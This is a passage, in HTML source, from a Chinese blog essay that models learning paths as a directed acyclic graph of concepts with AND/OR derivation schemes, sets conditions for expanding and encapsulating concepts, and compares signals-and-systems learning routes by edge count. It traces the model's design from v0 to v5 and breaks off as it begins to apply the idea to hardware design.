&lt;p&gt;因此增加新的点和边时必须计算整张有效推导子图的总成本，而不能只比较边数。所谓“更短路线”必须经过实际学习结果验证，而不能只在图形上看起来更短。&lt;/p&gt;
&lt;p&gt;假设当前最低成本路线包含 18 条边。加入新的概念和推导方案后，另一张有效推导子图只包含 3 条边。现实中的意义就是：学习者不必再依次记忆 18 个彼此松散的终态，而可以通过 3 个高压缩率的生成规则推出同一目标。&lt;/p&gt;
&lt;p&gt;优化过程可以写成一个循环：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据学习者已掌握的概念集合 $S$ 和目标 $t$，计算当前最低成本有效推导子图。&lt;/li&gt;
&lt;li&gt;检查其中成本最高、跳跃最大或重复推理最多的位置。&lt;/li&gt;
&lt;li&gt;尝试寻找或构造新的中间概念，并补充相应的推导边与推导方案。&lt;/li&gt;
&lt;li&gt;验证新增推导包含完整论证，AND/OR 关系明确，并且整张图仍然无环。&lt;/li&gt;
&lt;li&gt;将新的点和边加入知识图，重新计算 $C_u^*(S,t)$。&lt;/li&gt;
&lt;li&gt;比较优化前后的学习成本，并通过实际学习结果修正边权。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="mermaid"&gt;
flowchart TD
A[给定已掌握概念 S] --&amp;gt; B[选择目标概念 t]
B --&amp;gt; C[计算最低成本有效推导子图]
C --&amp;gt; D{成本是否过高}
D -- 否 --&amp;gt; E[输出一种合法拓扑序]
D -- 是 --&amp;gt; F[定位高成本推导]
F --&amp;gt; G[寻找或构造新的点和边]
G --&amp;gt; H{推导有效且整图无环}
H -- 否 --&amp;gt; F
H -- 是 --&amp;gt; I[加入知识图并更新方案]
I --&amp;gt; C
&lt;/pre&gt;
&lt;p&gt;这也证明了&lt;strong&gt;一条优秀的学习路线用更少的生成规则覆盖更多结论&lt;/strong&gt;。它减少的是重复、悬空和无法复用的认知工作。&lt;/p&gt;
&lt;h3 id="每个概念都可以展开为一张-dag"&gt;每个概念都可以展开为一张 DAG
&lt;/h3&gt;&lt;p&gt;设全体概念构成集合 $C$。对任意概念 $c \in C$，它拥有一个直接子概念集合：&lt;/p&gt;
&lt;p&gt;$$
\operatorname{children}(c) \subseteq C
$$&lt;/p&gt;
&lt;p&gt;这些子概念、目标概念本身以及它们之间的推导关系，构成概念 $c$ 的内部图：&lt;/p&gt;
&lt;p&gt;$$
G_c = (V_c, E_c), \qquad V_c = \operatorname{children}(c) \cup {c}
$$&lt;/p&gt;
&lt;p&gt;这里的 $c$ 是整张内部图最终要推出的目标，而不是它自己的子概念。我暂时要求 $G_c$ 是一张&lt;strong&gt;有向无环图&lt;/strong&gt;，也就是 DAG。&lt;/p&gt;
&lt;p&gt;有向，意味着推导有方向：“已知 A，如何得到 B”和“已知 B，如何得到 A”不是同一个过程。&lt;/p&gt;
&lt;p&gt;无环，意味着不能用待学习的概念反过来证明它自己的前提。一个环通常代表循环论证，或者说明当前概念边界划分得不合理。&lt;/p&gt;
&lt;p&gt;DAG 至少存在一个入度为 0 的节点，因此每个知识图都存在学习入口。但“存在一条指向目标的边”还不足以描述真实推导，因为一个概念可能需要多个前置条件共同推出。&lt;/p&gt;
&lt;p&gt;对任意目标节点 $v$，记它的入边集合为 $\operatorname{In}(v)$。概念 v 的推导方案集合，是它所有非空入边组合中的一部分。因此再定义推导方案集合：&lt;/p&gt;
&lt;p&gt;$$
\mathcal{P}(v) \subseteq 2^{\operatorname{In}(v)} \setminus {\varnothing}
$$&lt;/p&gt;
&lt;p&gt;每个 $P \in \mathcal{P}(v)$ 都是一套能够推出 $v$ 的完整方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同一个 $P$ 内的所有边是 AND，必须全部完成；&lt;/li&gt;
&lt;li&gt;不同的 $P$ 之间是 OR，只需完成其中一套；&lt;/li&gt;
&lt;li&gt;一条边可以同时属于多套方案，因此推导方案与边是多对多关系；&lt;/li&gt;
&lt;li&gt;不需要合取条件的单条入边，可以自然地构成一个只包含自身的方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如，若 $v$ 可以由“$A$ 与 $B$ 共同推出”，也可以单独由 $C$ 推出，那么：&lt;/p&gt;
&lt;p&gt;$$
P_1 = \lbrace A \to v, B \to v \rbrace, \qquad
P_2 = \lbrace C \to v \rbrace
$$&lt;/p&gt;
&lt;p&gt;$$
\mathcal{P}(v) = \lbrace P_1, P_2 \rbrace
$$&lt;/p&gt;
&lt;p&gt;这对应 $(A \land B) \lor C \Rightarrow v$。AND 和 OR 不需要变成新的概念类型，它们只是推导边之间的组合语义。&lt;/p&gt;
&lt;p&gt;当学习者选择一个 AND 方案时，方案内各个前置分支的先后顺序没有语义上的影响。只要各分支分别满足自身依赖，先理解 $A$ 再理解 $B$，或者先理解 $B$ 再理解 $A$，最终都完成同一套推导方案。DAG 的拓扑序只给出合法顺序，不规定独立前置条件之间唯一的学习次序。&lt;/p&gt;
&lt;p&gt;因此，从已有概念到目标概念的一条有效学习路线，在一般情况下并不是图论中的单条简单路径，而是一张递归选择 OR 方案、同时展开其中全部 AND 条件的推导子图。它可以存在多种等价的拓扑排序，并被线性地讲述，但其底层结构仍然可能分叉。&lt;/p&gt;
&lt;p&gt;这里也不再需要预先固定一份教程。给定学习者已掌握的概念和目标概念之后，才从完整知识图中选择一张有效推导子图。真正理解目标概念的判据，是学习者完成其中的必要推导，并最终能够重新推出 $\operatorname{definition}(c)$。&lt;/p&gt;
&lt;p&gt;递归展开必须满足约束。这里所说的“展开”并不是把概念当成一个集合，再声称它在本体上等于所有子概念之和。内部 DAG 表达的是&lt;strong&gt;怎样从若干入口重新生成这个概念&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;设 $I$ 是内部图 $G_c$ 声明的入口条件，$F_{G_c}(I)$ 表示按照图中的 AND/OR 方案完成一张有效推导子图。一次有效展开首先只承诺：&lt;/p&gt;
&lt;p&gt;$$
F_{G_c}(I) \Rightarrow \operatorname{definition}(c)
$$&lt;/p&gt;
&lt;p&gt;也就是说，完成这张图足以推出概念 $c$。反方向不必成立：$c$ 还可以存在其他尚未记录或属于其他知识体系的推导路线。因此，$G_c$ 是一组&lt;strong&gt;充分推导&lt;/strong&gt;，而不是对概念全部含义和全部理解方式的穷尽。&lt;/p&gt;
&lt;p&gt;为了让递归展开不制造错误路线，本文暂时要求它满足以下约束：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;目标固定&lt;/strong&gt;：展开前先有概念 $c$ 及其定义，$c$ 是内部图唯一要推出的目标；不能先框选一批相关知识，再倒过来假定它们自然定义了某个概念。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;节点相关&lt;/strong&gt;：每个内部节点都必须位于某条通向 $c$ 的有效推导中。只与主题相关却不参与推导的材料，不应仅凭相关性成为子概念。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;方案完整&lt;/strong&gt;：任何被选中的 AND 方案都必须包含全部必要边，不能通过拆分概念省略一半前提。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内部闭包&lt;/strong&gt;：除明确声明的入口外，每个内部节点都必须至少拥有一套完整的内部推导方案；所有外部假设都必须通过入口暴露出来。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推导可靠&lt;/strong&gt;：每张被声明为有效的内部推导子图，都必须真的足以重新推出 $\operatorname{definition}(c)$，而不只是让学习者记住同一个结论。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要求穷尽&lt;/strong&gt;：一张内部图可以只记录目前已知的若干充分路线。以后发现的新路线可以作为新的 OR 方案加入，而不意味着旧展开曾经定义了概念的全部本质。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握关系单向&lt;/strong&gt;：沿某张有效内部子图完成推导，可以成为掌握 $c$ 的证据；但已经掌握 $c$，不代表学习者掌握了图中所有子概念和所有替代路线：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;$$
\operatorname{mastered}(c)
\not\Rightarrow
\bigwedge_{v \in \operatorname{children}(c)} \operatorname{mastered}(v)
$$&lt;/p&gt;
&lt;ol start="8"&gt;
&lt;li&gt;&lt;strong&gt;内部细节不自动导出&lt;/strong&gt;：外部关系仍然以 $c$ 明确承诺的定义为准。不能因为某个内部节点出现在 $G_c$ 中，就假定掌握 $c$ 的人必然能够使用这个内部节点的全部外部关系。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本不会因折叠消失&lt;/strong&gt;：当学习者需要沿内部图推出 $c$ 时，实际完成的边仍然计入学习成本；把整张图显示成一个概念节点，不会把多步理解变成一步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;递归结构仍须合法&lt;/strong&gt;：展开后的整张推导图必须保持无环，并继续满足本文暂定的禁止部分交集约束。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;用自然语言来说，这些条件是在避免几种看似“拆开了”、实际却不成立的解释：不能把一串相关名词当成概念的组成；不能把隐藏的基础知识留在图外；不能少学一个必要前提却得到同一个结论；不能把目前记录的一条路线冒充概念唯一的本质；也不能因为一个人会使用父概念，就宣称他已经理解其内部每一种理论细节。&lt;/p&gt;
&lt;p&gt;这也解释了展开与封装为什么不完全对称。展开已有概念时，父概念 $c$ 和它原有的外部关系仍然存在，新增内部图只需要证明一条单向的充分推导 $F_{G_c}(I)\Rightarrow c$。封装则要创造一个新父概念，并让它在外部替代整张子图；这要求更强的边界对应，接近证明父概念与内部条件在允许的查询范围内能够双向替代。展开同样会出错，只是当它被限制为增加充分推导而非重写概念本体时，影响范围更容易被约束。&lt;/p&gt;
&lt;h3 id="把一段-dag-封装成更大的概念"&gt;把一段 DAG 封装成更大的概念
&lt;/h3&gt;&lt;p&gt;前文说概念既可以被继续拆分，也可以和其他概念组合。这两个性质结合起来还有一个重要设想：当一段 DAG 满足必要的封装条件时，可以把它封装成一个新的父概念。原来从外部指向子图边缘节点的关系，可以投影为指向父概念的关系；原来从边缘节点指向外部的关系，也可以投影为从父概念出发的关系。父概念展开时仍然保留原来的内部推导，折叠时则成为一个可以继续参与更大 DAG 的普通节点。&lt;/p&gt;
&lt;pre class="mermaid"&gt;
flowchart LR
subgraph EXPANDED[展开视图]
direction LR
X1[外部概念 X]
Z1[外部概念 Z]
subgraph MODULE[可封装推导模块 H]
direction TB
A[入口 A] --&amp;gt; B[内部概念 B]
C[入口 C]
B --&amp;gt;|方案 Q1| D[唯一目标 r_H&amp;lt;br/&amp;gt;Q1：B AND C]
C --&amp;gt;|方案 Q1| D
end
Y1[外部概念 Y]
X1 --&amp;gt; A
Z1 --&amp;gt; C
D --&amp;gt; Y1
end
subgraph FOLDED[折叠视图]
direction TB
X2[外部概念 X] --&amp;gt;|方案 QP| P[父概念 P&amp;lt;br/&amp;gt;F_H = X AND Z]
Z2[外部概念 Z] --&amp;gt;|方案 QP| P
P --&amp;gt; Y2[外部概念 Y]
end
D -. 封装映射 pi_H .-&amp;gt; P
style MODULE fill:#eff6ff,stroke:#1d4ed8,stroke-width:2px
style P fill:#f0fdf4,stroke:#15803d,stroke-width:2px
style D fill:#fff7ed,stroke:#c2410c,stroke-width:2px
&lt;/pre&gt;
&lt;p&gt;图中两条标为 $Q_1$ 的入边属于同一套 AND 方案，因此只有 $B$ 与 $C$ 都完成，才能推出唯一目标 $r_H$。折叠后，两条标为 $Q_P$ 的边仍属于同一套 AND 方案，父概念保留边界条件 $F_H=X\land Z$；虚线 $\pi_H$ 表示封装映射，不是新的推导边。这样，展开和折叠表达的是同一个推导条件，而不是两张碰巧长得相似的图。&lt;/p&gt;
&lt;p&gt;但不是任意框选的一段 DAG 都能成为概念。设候选子图为 $H=(V_H,E_H)$，本文暂时把能够封装的子图限制为一种&lt;strong&gt;可封装推导模块&lt;/strong&gt;。它必须满足以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;单一目标&lt;/strong&gt;：$H$ 有且只有一个代表其结论的目标节点 $r_H$，并且每个内部节点都位于某条通向 $r_H$ 的路径上。若干节点之间不存在共同目标，它们只能构成一个集合或视图，不能仅凭被同时框选就成为概念。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推导方案完整&lt;/strong&gt;：任何被 $H$ 使用的 AND 方案都必须被完整包含，不能只截取其中一部分边；不同完整方案仍然可以作为 OR 方案同时存在。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内部推导闭包&lt;/strong&gt;：除明确声明的入口节点外，每个参与内部推导的节点都必须至少拥有一套完全位于 $H$ 内部的有效推导方案，不能暗中依赖未被接口表达的外部条件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入口明确&lt;/strong&gt;：所有从外部进入 $H$ 的边只能抵达声明过的入口节点；这些边之间原有的 AND/OR 组合必须作为整体保留，不能在投影后被拆成若干互相独立的单边方案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单一出口&lt;/strong&gt;：所有从 $H$ 指向外部的推导边都必须从 $r_H$ 出发。若外部推导必须直接使用某个内部节点，那么这个节点仍然属于模块的外部接口，当前子图还不能被完整封装成一个概念。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边界条件可表达&lt;/strong&gt;：从外部前提推出 $r_H$ 的条件必须能够汇总为一个关于入口的 AND/OR 公式 $F_H$。例如 $F_H=(I_1 \land I_2)\lor I_3$，封装后的父概念必须保留这套组合语义，而不是只保留三条扁平入边。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本语义可保持&lt;/strong&gt;：父概念必须能够表示从不同入口组合完成内部有效推导的最低成本，以及共享前置是否重复计费。若无法定义这种对应关系，父概念就不能替代原子图参与最低成本路线计算。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不产生部分交集&lt;/strong&gt;：$V_H$ 与已有递归概念的范围必须完整包含或完全分离，不能只重叠其中一部分。这沿用本文暂时采用的“禁止递归交集”公理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存在统一定义&lt;/strong&gt;：图结构只能说明 $H$ 在形式上可以被收拢，不能自动证明它在语义上构成一个概念。新的父概念还必须拥有明确的定义或焦点问题，并说明内部 DAG 为什么恰好生成这个定义。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，本文所说的可封装概念，暂时是指一张&lt;strong&gt;推导方案完整、内部依赖闭合、具有显式入口和单一语义出口的有根子 DAG&lt;/strong&gt;。这些是为了避免明显语义错误而采用的一组保守条件，不代表所有条件都已经被证明为必要。&lt;/p&gt;
&lt;p&gt;用自然语言来说，这些限制是在避免几种现实意义上显然不合理的“概念”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不能把一堆恰好放在一起、却没有共同结论的知识命名成一个新概念。&lt;/strong&gt; 单一目标和统一定义要求这个概念最终必须说清楚“它究竟是什么”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能省略一半必要条件，然后宣称完整概念已经被推出。&lt;/strong&gt; 方案完整和内部闭包要求所有必要前提都真实存在；如果一个结论需要 $A$ 与 $B$，只框选 $A$ 不能算完成封装。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能在展开时要求多个条件共同成立，折叠后却变成满足任意一个条件都可以。&lt;/strong&gt; 显式入口和边界公式要求 AND/OR 语义在封装前后保持一致。上图中只知道 $X$ 或只知道 $Z$，都不能宣称已经掌握 $P$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能说自己掌握了父概念，就默认掌握了它内部任意一个没有被导出的细节。&lt;/strong&gt; 单一出口要求外部只能使用父概念真正承诺的结论；如果后续推导必须直接依赖内部细节，这个细节就不能被藏起来。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能通过把十步推导折叠成一个节点，就假装学习成本从十步变成一步。&lt;/strong&gt; 封装改变的是抽象尺度，不会让内部推导成本凭空消失。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能让两个概念各自只包含同一结构的一半，却都声称完整拥有这段知识。&lt;/strong&gt; 禁止部分交集要求递归边界清楚；否则展开其中一个概念时，很难判断另一半究竟属于哪里。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能只因为图形上可以收拢，就断言它在语义上是一个概念。&lt;/strong&gt; 最终仍然需要一个能够被解释、推导和检验的定义。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果边界投影能够在这些约束下保持原图中的可推导性和成本语义，知识图就可以在不同抽象尺度之间切换：封装一个子图时，可以根据原边界得到它与外部概念的关系；这个新父概念还可以继续和其他概念组合，递归形成更大的 DAG。图中只展示了边的直观投影，这些条件是否已经足够、哪些条件还可以放宽，将在文末继续讨论。&lt;/p&gt;
&lt;h2 id="用信号与系统验证路径优化"&gt;用信号与系统验证路径优化
&lt;/h2&gt;&lt;p&gt;有了上面的模型之后，我们再回头看开头的信号与系统案例。这里把三条教学路线视为三张近似线性的有效推导子图，观察新增概念和推导如何改变路线成本。x&lt;/p&gt;
&lt;p&gt;传统教学很容易把学习速度归因于某种固定的个人属性：聪明、记忆力好、数学基础强，或者足够努力。这些因素当然存在，但它们并不能解释一个现象：&lt;strong&gt;同一个人面对同一个知识体系，仅仅更换概念的引入顺序和推导方式，学习速度就可能发生数量级的变化。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我学习信号与系统的经历就是如此。我把三天内形成的理解记录在尚未完成的&lt;a class="link" href="https://v3n0.com/post/2026/signals_and_systems/" &gt;《信号与系统速通：现代视角下的信号与系统理论体系》&lt;/a&gt;中。它并不是一份严格完成的教材，但可以还原当时实际走过的学习线路。&lt;/p&gt;
&lt;p&gt;学校课程往往按照公式和题型平铺展开：先给出若干信号，再介绍系统性质，然后依次学习卷积、傅里叶变换、拉普拉斯变换和 Z 变换。每一种变换看起来都像一套新的公式，需要分别记忆。学校教纲本身并不涉及函数空间、内积或算子理论。&lt;/p&gt;
&lt;p&gt;我最初三天走过的路线从系统与微分方程逐步向上抽象：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先把系统理解成从输入信号到输出信号的映射；&lt;/li&gt;
&lt;li&gt;追问为什么微分方程适合描述一类连续时间系统，并把问题限制到 LTI 系统；&lt;/li&gt;
&lt;li&gt;从常系数微分方程中发现 $e^{st}$ 是微分算子的特征函数；&lt;/li&gt;
&lt;li&gt;用冲激响应与冲激分解理解卷积为什么能够描述 LTI 系统；&lt;/li&gt;
&lt;li&gt;再引入函数空间、内积和希尔伯特空间的视角，把信号理解成函数空间中的向量；&lt;/li&gt;
&lt;li&gt;最后回到傅里叶、拉普拉斯和 Z 变换，理解它们如何在各自适用的条件下，把卷积、微分或差分等运算转化为更容易处理的代数运算。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;导师后来构造的“集合论版本”并不是我三天内实际走过的路线。它从集合论出发，建立集合、映射、空间与基，再推演到算子谱定理；得到谱与特征方向的视角后，把原本复杂的卷积、微分等运算理解为在另一组基下的乘法，最后将各种变换放回同一个模型中。&lt;/p&gt;
&lt;p&gt;因此，从学校教纲到我的三天路线，就已经不是单纯调整顺序，而是为知识图引入函数空间、内积、希尔伯特空间和算子理论等新点，并建立它们与原有内容之间的新边。后来的集合论版本又在这张图上继续引入“集合论”“空间与基”“算子谱定理”等高压缩率中间节点；从这些节点建立到各种变换的新推导边后，原本需要逐个抵达的结论可以从统一结构中生成。&lt;/p&gt;
&lt;p&gt;这样一来，许多原本彼此孤立的公式，变成了同一个生成规则在不同条件下的结果。需要记忆的终态变少了，可以从已有概念重新生成的内容变多了。&lt;/p&gt;
&lt;h3 id="三条学习路线的长度对比"&gt;三条学习路线的长度对比
&lt;/h3&gt;&lt;pre class="mermaid"&gt;
flowchart LR
subgraph T[常见教材路线]
direction TB
T1[公式与题型] --&amp;gt; T2[卷积]
T2 --&amp;gt; T3[傅里叶变换]
T3 --&amp;gt; T4[拉普拉斯与 Z 变换]
end
subgraph P1[我的三天路线：20 个节点 / 19 条边]
direction TB
A0[已有数学基础] --&amp;gt; A1[系统]
A1 --&amp;gt; A2[输入输出映射]
A2 --&amp;gt; A3[微分方程]
A3 --&amp;gt; A4[线性化]
A4 --&amp;gt; A5[时不变性]
A5 --&amp;gt; A6[LTI 系统]
A6 --&amp;gt; A7[特征方程]
A7 --&amp;gt; A8[e^st 特征函数]
A8 --&amp;gt; A9[冲激函数]
A9 --&amp;gt; A10[冲激响应的线性组合]
A10 --&amp;gt; A11[卷积]
A11 --&amp;gt; A12[函数空间]
A12 --&amp;gt; A13[内积]
A13 --&amp;gt; A14[希尔伯特空间]
A14 --&amp;gt; A15[傅里叶变换]
A15 --&amp;gt; A16[拉普拉斯变换]
A16 --&amp;gt; A17[算子视角]
A17 --&amp;gt; A18[算子谱]
A18 --&amp;gt; A19[统一理解各种变换]
end
subgraph P2[集合论版本：6 个节点 / 5 条边]
direction TB
B0[已有数学基础] --&amp;gt; B1[集合论]
B1 --&amp;gt; B2[空间与基]
B2 --&amp;gt; B3[算子谱定理]
B3 --&amp;gt; B4[运算在另一组基下变成乘法]
B4 --&amp;gt; B5[统一理解各种变换]
end
T -. 新增点与边 ① .-&amp;gt; P1
P1 -. 新增点与边 ② .-&amp;gt; P2
style T fill:#fff7ed,stroke:#c2410c,stroke-width:2px
style P1 fill:#eff6ff,stroke:#1d4ed8,stroke-width:2px
style P2 fill:#f0fdf4,stroke:#15803d,stroke-width:2px
&lt;/pre&gt;
&lt;p&gt;这三条线路展示了两次连续发生的学习路线优化，也就是两次对图结构本身的改造。图中只保留了各条线性路线主干上的概念和推导边。&lt;/p&gt;
&lt;p&gt;需要说明的是，这仍然是一张示意图。尤其是集合论版本，我没有亲自沿这条路线学习，节点可能存在遗漏或表述偏差；这里能够确定的是，它事实上使用了比我的路线更短的主干路径。&lt;/p&gt;
&lt;p&gt;第一次改造从学校教纲出发，引入函数空间、内积、希尔伯特空间和算子理论，并建立这些新概念与微分方程、LTI、冲激、卷积和各种变换之间的推导边。这次改造形成了我的三天路线。&lt;/p&gt;
&lt;p&gt;为了让两条路线能够直接比较，图中为它们设置了相同的起点“已有数学基础”和相同的目标“统一理解各种变换”。按照当前的抽象粒度，我的路线包含 20 个节点和 19 条推导边；集合论版本由 6 个高压缩率节点和 5 条推导边组成。由于两者在示意图中都是线性特例，所以结构成本与路径距离相同：&lt;/p&gt;
&lt;p&gt;$$
C_0(R_{\text{我的路线}}) = d_{\text{我的路线}} = 19
$$&lt;/p&gt;
&lt;p&gt;$$
C_0(R_{\text{集合论版本}}) = d_{\text{集合论版本}} = 5
$$&lt;/p&gt;
&lt;p&gt;$$
\Delta C_0 = 5 - 19 = -14
$$&lt;/p&gt;
&lt;p&gt;也就是说，在这张无权示意图上，重构后的路线减少了 14 条边，结构成本约为原路线的 $26%$。另一位同学半天内建立整体理解，可以被看作第二次图结构改造的一次实际教学结果。&lt;/p&gt;
&lt;p&gt;这里比较的是当前建模粒度下的无权结构成本，并不意味着学习时间一定与边数线性对应。每条边的真实成本仍可能不同，因此上文进一步给出了加权模型。但如果不把节点和推导边拆开，连结构成本的变化都无法被观察，更不可能进一步估计边权。&lt;/p&gt;
&lt;p&gt;在不改变图时，模型仍然可以从现有 OR 方案中寻找最低成本有效路线；但这里的两次教学改进都不是单纯换一个拓扑顺序，而是同时引入了新的点、边和推导方案。&lt;/p&gt;
&lt;p&gt;这并不意味着微分方程、卷积等概念不再需要学习，而是它们不再作为互不相干的终点被依次灌输。统一模型提供了更高压缩率的索引，使具体结论能够在需要时被推导出来。&lt;/p&gt;
&lt;h2 id="这个模型是怎样演进出来的"&gt;这个模型是怎样演进出来的
&lt;/h2&gt;&lt;p&gt;上文先给出了当前的 v5 模型，但“万物皆概念”并不是它的起点。它是我在不断尝试定义课程、章节、概念和问题时，被前一版模型的矛盾逐步逼出来的结果。&lt;/p&gt;
&lt;p&gt;这里回过头保留从 v0 到 v5 的推理链。每一版都不是简单增加字段，而是在回答上一版无法回答的问题。&lt;/p&gt;
&lt;pre class="mermaid"&gt;
flowchart LR
V0[v0 词条罗列] --&amp;gt;|对象之间是什么关系| V1[v1 分层对象]
V1 --&amp;gt;|概念是否属于章节| V2[v2 全局概念与子图]
V2 --&amp;gt;|三类边无法统一| V3[v3 Prompt 唯一边]
V3 --&amp;gt;|教学顺序从哪里来| V4[v4 DAG 与拓扑序]
V4 --&amp;gt;|章节与概念并不同构| V5[v5 递归概念模型]
&lt;/pre&gt;
&lt;h3 id="v0把所有东西列成词条"&gt;v0：把所有东西列成词条
&lt;/h3&gt;&lt;p&gt;最初的模型只是在罗列产品里可能存在的对象：Course、Chapter、Concept、Prompt、Misconception、Interaction、Evidence 和 UserWikiGraph。每个对象都有一张字段表，但对象之间没有统一结构。&lt;/p&gt;
&lt;p&gt;在这个版本中，Course 拥有 Chapter，Chapter 拥有一个线性的 &lt;code&gt;problem_chain&lt;/code&gt;，Concept 则是另一种独立对象。教程知识和用户自己的 Wiki 甚至使用两套模型。&lt;/p&gt;
&lt;p&gt;v0 解决的是“系统里有什么”，却没有回答“这些东西为什么以这种方式连接”。概念与章节是什么关系、问题怎样推进概念、不同知识之间如何复用，都还是空白。&lt;/p&gt;
&lt;h3 id="v1从字段表进入分层对象"&gt;v1：从字段表进入分层对象
&lt;/h3&gt;&lt;p&gt;v1 开始为对象补充业务语义和生命周期。章节被定义为围绕目标概念形成过程的学习单元；概念被定义为对一类问题解决路径的封装；Prompt 也被区分为诊断、推进、纠偏、检验和总结等教学意图。&lt;/p&gt;
&lt;p&gt;这一步让模型从“有什么字段”进入“对象是什么、如何流转”，但整体仍然是 Course → Chapter → Concept 的固定层级，学习过程仍被默认成章节内部的线性流程。&lt;/p&gt;
&lt;p&gt;问题随之暴露出来：概念学习并没有唯一顺序。学习信号与系统时，欧拉公式只需要在第一次使用前掌握，并不天然属于某一章的固定位置。同时，Prompt 被分成过多类型，各类型边界模糊，因为我还没有回答 Prompt 的本质是什么。&lt;/p&gt;
&lt;h3 id="v2全局概念章节子图与三类边"&gt;v2：全局概念、章节子图与三类边
&lt;/h3&gt;&lt;p&gt;为了解决“概念是否属于章节”，v2 把 Concept 提升为全局实体：同一个概念可以被多个章节引用，Chapter 则被改写为整张教程图谱中的一个子图。&lt;code&gt;problem_chain&lt;/code&gt; 也从列表变成了允许分支和跳转的图。&lt;/p&gt;
&lt;p&gt;这一版第一次明确引入三类边：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requires&lt;/code&gt;：依赖关系，有向；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contains&lt;/code&gt;：包含关系，有向；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;relates&lt;/code&gt;：相关关系，无向。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;v2 的进步是终于开始用图表达知识，但三种边并不属于同一种语义：依赖、包含和相关无法用统一规则解释，也很难回答一条边究竟承载了什么教学内容。图虽然出现了，边的本质仍然没有被找到。&lt;/p&gt;
&lt;h3 id="v3prompt-成为唯一的有向边"&gt;v3：Prompt 成为唯一的有向边
&lt;/h3&gt;&lt;p&gt;v3 的关键收敛是：&lt;strong&gt;概念之间真正值得存储的关系只有推导问题本身，Prompt 就是有向边。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一条边从 source concept 指向 target concept，表达“A 遇到了什么局限，为什么需要 B”。&lt;code&gt;requires&lt;/code&gt; 不再作为独立边存储：如果存在从 A 到 B 的有向路径，就可以推导出 B 依赖 A；&lt;code&gt;relates&lt;/code&gt; 同样可以由可达性投影出来。&lt;/p&gt;
&lt;p&gt;Chapter 此时被定义为概念图中的连通子图，教程与用户 Wiki 也开始使用同一模型。这一步用“一种基础关系 + 图算法推导”取代了边类型枚举。&lt;/p&gt;
&lt;p&gt;但新的问题也出现了：如果 Chapter 仍要保存一条显式教学路径，那么它和图本身给出的顺序是什么关系？既然已经有一张有向图，为什么还需要另一份容易冲突的 &lt;code&gt;problem_chain&lt;/code&gt;？&lt;/p&gt;
&lt;h3 id="v4顺序完全由-dag-推导"&gt;v4：顺序完全由 DAG 推导
&lt;/h3&gt;&lt;p&gt;v4 删除了 Chapter 中显式保存的教学路径。概念的先后顺序不再由作者手写，而由 DAG 的拓扑序给出。只要一个概念所需的前置条件已经满足，它就可以被学习，不需要所有人走同一条线性目录。&lt;/p&gt;
&lt;p&gt;无环也在这一版成为强制约束：环意味着循环论证。v4 只确定了依赖关系应当组成 DAG，并由拓扑序给出合法学习顺序；多条入边究竟是必须同时满足的前置条件，还是可以任选的不同推导，当时还没有被区分。直到 v5，我才通过推导方案补全这层语义：同一方案内是 AND，不同方案之间是 OR。&lt;/p&gt;
&lt;p&gt;为了继续保留传统教学结构，v4 曾把 Chapter 定义成概念集合的划分：每个概念属于且仅属于一章，章节之间不重叠。但这恰好暴露了最后一个根本矛盾：如果一个章节可以被封装成一个节点，它本身就是概念；如果一个概念足够复杂，需要单独展开成教程，它又和章节没有区别。&lt;/p&gt;
&lt;p&gt;Chapter 的“划分”只是人为施加的语义，并不是知识结构本身的要求。&lt;/p&gt;
&lt;h3 id="v5取消层级万物皆概念"&gt;v5：取消层级，万物皆概念
&lt;/h3&gt;&lt;p&gt;因此，我进一步演进出了上文我提出的模型。&lt;/p&gt;
&lt;h2 id="不只优化学习路径"&gt;不只优化学习路径
&lt;/h2&gt;&lt;p&gt;这个模型最初来自学习方式问题，但它真正描述的对象也许更一般：&lt;strong&gt;从已有状态出发，通过一系列需要付出成本并接受验证的推导，到达目标状态&lt;/strong&gt;。只要一个领域能够被近似表示成这样的有向图，路径优化就可能有意义。&lt;/p&gt;
&lt;p&gt;硬件设计是一个对路径长度尤其敏感的例子。假设我们把一次设计过程抽象成一张迭代 DAG：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;节点是已经被明确提出并实现的设计概念，例如一种数据通路、缓存结构或时钟方案；&lt;/li&gt;
